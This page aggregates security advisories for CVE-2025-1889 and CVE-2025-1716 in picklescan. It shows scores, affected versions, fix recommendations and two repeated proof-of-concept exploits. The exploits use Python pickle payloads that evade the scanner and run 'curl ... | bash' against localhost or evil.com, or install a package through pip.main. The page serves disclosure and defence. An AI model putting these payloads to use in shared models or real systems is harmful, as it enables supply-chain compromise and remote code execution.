CVE-2025-1889
picklescan - Security scanning bypass via non-standard file extensions
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.3
picklescan - Security scanning bypass via non-standard file extensions
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
- Record
CVE-2025-1889- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-646
- Updated
- 2026-11-02
EUVDEUVD-2025-5523
5.3
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
- Record
EUVD-2025-5523- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-769v-p64c-89pr
5.3
PyTorch Model Files Can Bypass Pickle Scanners via Unexpected Pickle Extensions
CVE-2025-1889
Summary
Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.
Details
Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the pickle_file parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.
A typical attack works as follows:
- A PyTorch model (model.pt) is created and saved normally.
- A second pickle file (config.p) containing a malicious payload is crafted.
- The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, pickle_file='config.p'), causing config.p to be loaded when the model is opened.
- Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection.
- The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.
PoC
import os
import pickle
import torch
import zipfile
from functools import partial
class RemoteCodeExecution:
def __reduce__(self):
return os.system, ("curl -s http://localhost:8080 | bash",)
# Create a directory inside the model
os.makedirs("model", exist_ok=True)
# Create a hidden malicious pickle file
with open("model/config.p", "wb") as f:
pickle.dump(RemoteCodeExecution(), f)
# Create a benign model
model = {}
class AutoLoad:
def __init__(self, path, **kwargs):
self.path = path
self.kwargs = kwargs
def __reduce__(self):
# Use functools.partial to create a partially applied function
# with torch.load and the pickle_file argument
return partial(torch.load, self.path, **self.kwargs), ()
model['config'] = AutoLoad(model_name, pickle_file='config.p', weights_only=False)
torch.save(model, "model.pt")
# Inject the second pickle into the model archive
with zipfile.ZipFile("model.pt", "a") as archive:
archive.write("model/config.p", "model/config.p")
# Loading the model triggers execution of config.p
torch.load("model.pt")
Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.
Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.
Recommendations
- Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions.
- Detect Hidden Pickle References: Static analysis should detect torch.load(pickle_file=...) calls inside data.pkl.
- Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05).
- Block the following globals: - torch.load - Block functools.partial
- Record
GHSA-769v-p64c-89pr- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-646
- Updated
- 2026-11-02
NVD
5.3
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
- Record
CVE-2025-1889- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-646
- Updated
- 2026-11-02
OSVCVE-2025-1716
5.3
picklescan - Security scanning bypass via 'pip main'
picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via pip.main(). Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.
- Record
CVE-2025-1716- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-184
- Updated
- 2026-11-02
OSV
5.3
picklescan - Security scanning bypass via non-standard file extensions
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
- Record
CVE-2025-1889- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-646
- Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-655q-fx9r-782v
5.3
Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis
CVE-2025-1716
Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details
Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
- During unpickling, it calls pip.main() to install a malicious PyPI package.
- The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
- Execution is silent, with minimal logging to avoid detection.
PoC
Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.
Example malicious setup.py
from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script
setup(
name="rsac-demo-package",
version="0.1",
packages=["rsac_demo"],
install_requires=[],
)
Upload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle
import pickle
import pip
class Exploit:
def __reduce__(self):
return pip.main, (
['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
'--exists-action', 'i', '--isolated'],
)
malicious_pickle = pickle.dumps(Exploit())
# Simulating deserialization attack
pickle.loads(malicious_pickle)
This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.
Impact
Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Recommended Fixes
Add "pip": "*" to the list of unsafe globals
- Record
GHSA-655q-fx9r-782v- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-184
- Updated
- 2026-11-02
OSVGHSA-769v-p64c-89pr
5.3
PyTorch Model Files Can Bypass Pickle Scanners via Unexpected Pickle Extensions
CVE-2025-1889
Summary
Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.
Details
Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the pickle_file parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.
A typical attack works as follows:
- A PyTorch model (model.pt) is created and saved normally.
- A second pickle file (config.p) containing a malicious payload is crafted.
- The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, pickle_file='config.p'), causing config.p to be loaded when the model is opened.
- Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection.
- The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.
PoC
import os
import pickle
import torch
import zipfile
from functools import partial
class RemoteCodeExecution:
def __reduce__(self):
return os.system, ("curl -s http://localhost:8080 | bash",)
# Create a directory inside the model
os.makedirs("model", exist_ok=True)
# Create a hidden malicious pickle file
with open("model/config.p", "wb") as f:
pickle.dump(RemoteCodeExecution(), f)
# Create a benign model
model = {}
class AutoLoad:
def __init__(self, path, **kwargs):
self.path = path
self.kwargs = kwargs
def __reduce__(self):
# Use functools.partial to create a partially applied function
# with torch.load and the pickle_file argument
return partial(torch.load, self.path, **self.kwargs), ()
model['config'] = AutoLoad(model_name, pickle_file='config.p', weights_only=False)
torch.save(model, "model.pt")
# Inject the second pickle into the model archive
with zipfile.ZipFile("model.pt", "a") as archive:
archive.write("model/config.p", "model/config.p")
# Loading the model triggers execution of config.p
torch.load("model.pt")
Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.
Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.
Recommendations
- Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions.
- Detect Hidden Pickle References: Static analysis should detect torch.load(pickle_file=...) calls inside data.pkl.
- Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05).
- Block the following globals: - torch.load - Block functools.partial
- Record
GHSA-769v-p64c-89pr- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-646
- Updated
- 2026-11-02
OSVPYSEC-2025-19
9.8
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
- Record
PYSEC-2025-19- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVPYSEC-2025-18 No score
picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via pip.main(). Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.
- Record
PYSEC-2025-18- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
picklescanPyPI |
through 0.0.21 | 0.0.22 |
picklescanPyPI From an advisory covering 2 CVEs |
before 0.0.22, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 16 moreShow less0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.30.0.40.0.50.0.60.0.70.0.80.0.9 |
0.0.22 |
picklescanPyPI From an advisory covering 2 CVEs |
before 0.0.21, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 15 moreShow less0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.30.0.40.0.50.0.60.0.70.0.80.0.9 |
0.0.21 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-1889 is a medium vulnerability (CVSS 5.3) in Mmaitre314 Picklescan, published February 26, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 33rd percentile. Fixed in picklescan 0.0.22.
References
sonatype.com/security-advisories/cve-2025-1889
github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v
github.com/mmaitre314/picklescan/security/advisories/GHSA-769v-p64c-89pr
github.com/mmaitre314/picklescan/commit/baf03faf88fece56a89534d12ce048e5ee36e50e
nvd.nist.gov/vuln/detail/CVE-2025-1889
sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889
Show 10 moreShow less
github.com/advisories/GHSA-769v-p64c-89pr
github.com/CVEProject/cvelistV5/tree/main/cves/2025/1xxx/CVE-2025-1716.json
nvd.nist.gov/vuln/detail/CVE-2025-1716
sonatype.com/security-advisories/cve-2025-1716
github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d
github.com/mmaitre314/picklescan
pypi.org/project/picklescan
github.com/CVEProject/cvelistV5/tree/main/cves/2025/1xxx/CVE-2025-1889.json
github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-18.yaml
sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716